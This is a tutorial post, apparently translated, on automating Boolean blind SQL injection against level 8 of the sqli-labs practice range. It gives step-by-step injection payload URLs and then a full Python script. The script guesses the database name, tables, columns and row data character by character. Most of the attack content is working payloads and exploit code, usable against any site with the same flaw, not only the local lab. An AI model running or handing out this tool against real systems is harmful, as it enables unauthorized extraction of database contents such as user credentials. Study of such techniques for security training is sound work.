preface
When we conduct SQL injection attacks, we need to consider blind injection when we find that union injection or error injection cannot be performed. When we conduct blind injection, we need to guess character by character through page feedback (Boolean blind injection) or corresponding time (time blind injection). If you guess manually, it will have a lot of work. So here we use python to write an automatic script to guess. The eighth level of sqli labs is selected for the shooting range.
Reference: python security attack and defense
payload associated with blind injection
Before writing a script, you need to have an understanding of the blind injection process. In this way, when writing a script, the idea will not be confused. Here is an example of the eighth pass of sqli labs. The details are as follows:
Get database length
127.0.0.1/sql/Less-8/?id=1' and if(length(database())=8,1,0) %23
Get database name
substr: String interception function, first bit interception, one bit interception
Connecting is to intercept the first bit of the database name and judge whether the ascii value of the first bit is equal to 115. If it is correct, it will be returned directly.
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,0) %23
Gets the number of database tables
127.0.0.1/sql/Less-8/?id=1' and if((select count(*)table_name from information_schema.tables where table_schema='security')=4,1,0) %23
Gets the length of the database table name
Note the limit. The first parameter means the line from which to start, the minimum is 0, and the second parameter is the line to intercept. Here 1 means one line.
127.0.0.1/sql/Less-8/?id=1' and if((select LENGTH(table_name) from information_schema.tables where table_schema='security' limit 1,1)=8,1,0) %23
Get database table name
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,0) %23
Gets the number of fields in the table
127.0.0.1/sql/Less-8/?id=1' and if((select count(column_name) from information_schema.cloumns where table_schema='security' and table_name='users')=3,1,0) %23
Gets the length of the field
127.0.0.1/sql/Less-8/?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,1,0) %23
Gets the fields of the table
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,0) %23
Gets the number of field data
127.0.0.1/sql/Less-8/?id=1' and if((select count(username) from users)=13,1,0) %23
Gets the length of the field data
127.0.0.1/sql/Less-8/?id=1' and if((select length(username) from users limit 0,1)=4,1,0) %23
Get field data
127.0.0.1/sql/Less-8/?id=1' and if (ascii(substr((select username from users limit 0,1),1,1))=68,1,0) %23
Explanation of related functions of blind injection script
First, write the main function to call each function. The code is as follows:
#Blind main function def StartSqli(url): GetDBName(url) print("[+]Current database name:{0}".format(DBName)) GetDBTables(url,DBName) print("[+] database {0} The table is as follows:".format(DBName)) for item in range(len(DBTables)): print("(" + str(item + 1 ) + ")" + DBTables[item]) tableIndex = int(input("[*] Please enter the sequence number of the table to view :")) - 1 GetDBColumns(url,DBName,DBTables[tableIndex]) while True: print("[+] data sheet {0} The fields are as follows:".format(DBTables[tableIndex])) for item in range(len(DBColumns)): print("(" + str(item + 1) + ")" + DBColumns[item]) columnIndex = int(input("[*] Please enter the sequence number of the field to view(Enter 0 to exit):")) - 1 if(columnIndex == -1): break else: GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])
Next, we need to get the database name, and the final result is stored in DBName
#Get database name function def GetDBName(url): #Reference global variable DBName global DBName print("[-] Start getting the length of the database") #A variable that holds the length of the database DBNameLen = 0 #payload for checking database length payload = "' and if(length(database())={0},1,0) %23 " #Splice the url and payload to get the final request url targetUrl = url + payload print(targetUrl) #Use the for loop to traverse the request to get the length of the database name for DBNameLen in range(1,99): #Assign and guess the parameters in the payload res = conn.get(targetUrl.format(DBNameLen)) #Determine whether the flag is in the returned page if flag in res.content.decode("utf-8"): print('Did you come in') print("[+] Length of database name:"+ str(DBNameLen)) break print("[-] Start getting database name") #Gets the payload of the database name payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23" targetUrl = url + payload #a represents the interception position of substr() function for a in range(1,DBNameLen+1): #b represents 33 ~ 126 characters that can be displayed in ascii code for b in range(33,127): res = conn.get(targetUrl.format(a,b)) if flag in res.content.decode("utf-8"): DBName += chr(b) print("[-]" + DBName) break
The effect of obtaining the database name is shown in the figure below
When we get the database name, we can guess the table name. The results are stored in DBTables in list form
#Get database table function def GetDBTables(url, dbname): global DBTables #A variable that holds the number of database tables DBTableCount = 0 print("[-] Start getting {0} Number of database tables:".format(dbname)) #Gets the payload of the number of database tables payload = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) %23" targetUrl = url + payload #Start traversal to get the number of database tables for DBTableCount in range(1,99): res = conn.get(targetUrl.format(dbname,DBTableCount)) if flag in res.content.decode("utf-8"): print("[+]{0}The number of tables in the database is:{1}".format(dbname,DBTableCount)) break print("[-]Start getting{0}Table of database".format(dbname)) #A variable that temporarily stores the length of the table name when traversing the table name tableLen = 0 #a indicates that the index of the table is currently being obtained for a in range(0,DBTableCount): print("[-]Getting page{0}Table names".format(a+1)) #Get the length of the current table name first for tableLen in range(1,99): payload = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23" targetUrl = url + payload res = conn.get(targetUrl.format(dbname,a,tableLen)) if flag in res.content.decode("utf-8"): break #Start getting table name #A variable that temporarily stores the current table name table = "" #b indicates the location of the current table name guess (substr) for b in range(1,tableLen+1): payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0) %23" targetUrl = url + payload # c represents 33 ~ 126 displayable characters in ascii code for c in range(33,127): res = conn.get(targetUrl.format(dbname,a,b,c)) if flag in res.content.decode("utf-8"): table +=chr(c) print(table) break #Add the obtained table name to DBTables DBTables.append(table) #Clear the table to continue to get the next table name table = ""
The effect of obtaining the database table name is as follows:
According to the database name and table name obtained above, then obtain the fields of the table. The results are stored in DBColumns as a list
#Function to get database table fields def GetDBColumns(url,dbname,dbtable): global DBColumns #A variable that holds the number of fields DBColumnCount = 0 print("[-] Start getting{0}Number of fields in the data table:".format(dbtable)) for DBColumnCount in range(99): payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23" targetUrl = url + payload res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount)) if flag in res.content.decode("utf-8"): print("[-]{0} The number of fields in the data table is:{1}".format(dbtable,DBColumnCount)) break #Start getting the name of the field #A temporary variable that holds the field name column = "" # a represents the index of the currently acquired field for a in range(0,DBColumnCount): print("[-]Getting page{0} Field names".format(a+1)) #Get the length of the field first for columnLen in range(99): payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23" targetUrl = url + payload res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen)) if flag in res.content.decode("utf-8"): break #b indicates the location of the current field name guess for b in range(1,columnLen+1): payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23" targetUrl = url + payload #c represents 33 ~ 126 displayable characters in ascii table for c in range(33,127): res = conn.get(targetUrl.format(dbname,dbtable,a,b,c)) if flag in res.content.decode("utf-8"): column += chr(c) print(column) break #Add the obtained fields to dbcolumns DBColumns.append(column) #Clear the column to continue to get the next field name column = ""
The effect of obtaining the fields of the table is as follows:
Then, you can get the data. Obtain data according to the obtained URL, database table name and data table field. The data is stored in the form of a dictionary, the key is the field name, and the value is the list formed by the data.
#Function to get table fields def GetDBData(url,dbtable,dbcolumn): global DBData #Get the data quantity of the field first DBDataCount = 0 print("[-]Start getting {0} surface {1} Number of data in the field".format(dbtable,dbcolumn)) for DBDataCount in range(99): payload = "' and if((select count({0}) from {1})={2},1,0) %23" targetUrl = url + payload res = conn.get(targetUrl.format(dbcolumn,dbtable,DBDataCount)) if flag in res.content.decode("utf-8"): print("[-]{0}surface{1}The data quantity of the field is:{2}".format(dbtable,dbcolumn,DBDataCount)) break for a in range(0,DBDataCount): print("[-] Getting{0} The first{1} Data".format(dbcolumn,a+1)) #Get the length of this data first dataLen = 0 for dataLen in range(99): payload = "' and if((select length({0}) from {1} limit {2},1)={3},1,0) %23" targetUrl = url + payload res = conn.get(targetUrl.format(dbcolumn,dbtable,a,dataLen)) if flag in res.content.decode("utf-8"): print("[-]The first{0}Data length:{1}".format(a+1,dataLen)) break #Temporary storage of data content variables data = "" #Start to get the specific content of data #b represents the guess position of the current data content for b in range(1,dataLen+1): for c in range(33,127): payload = "' and if (ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0) %23" targetUrl = url + payload res = conn.get(targetUrl.format(dbcolumn,dbtable,a,b,c)) if flag in res.content.decode("utf-8"): data +=chr(c) print(data) break #Put it into the dictionary with field name as key and value as list DBData.setdefault(dbcolumn,[]).append(data) print(DBData) #Clear the data and continue to get the next data data = ""
The effect of obtaining data is as follows:
Finally, write the main function and pass in the URL
#Entry, main function if __name__ == '__main__': parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n') #Target URL parameter - u parser.add_option('-u','--url',dest='targetURL',default='http://127.0.0.1/sql/Less-8/?id=1',type='string',help='target URL') (options,args) = parser.parse_args() StartSqli(options.targetURL)
Summary
There are so many automated scripts about blind injection. Please correct any errors.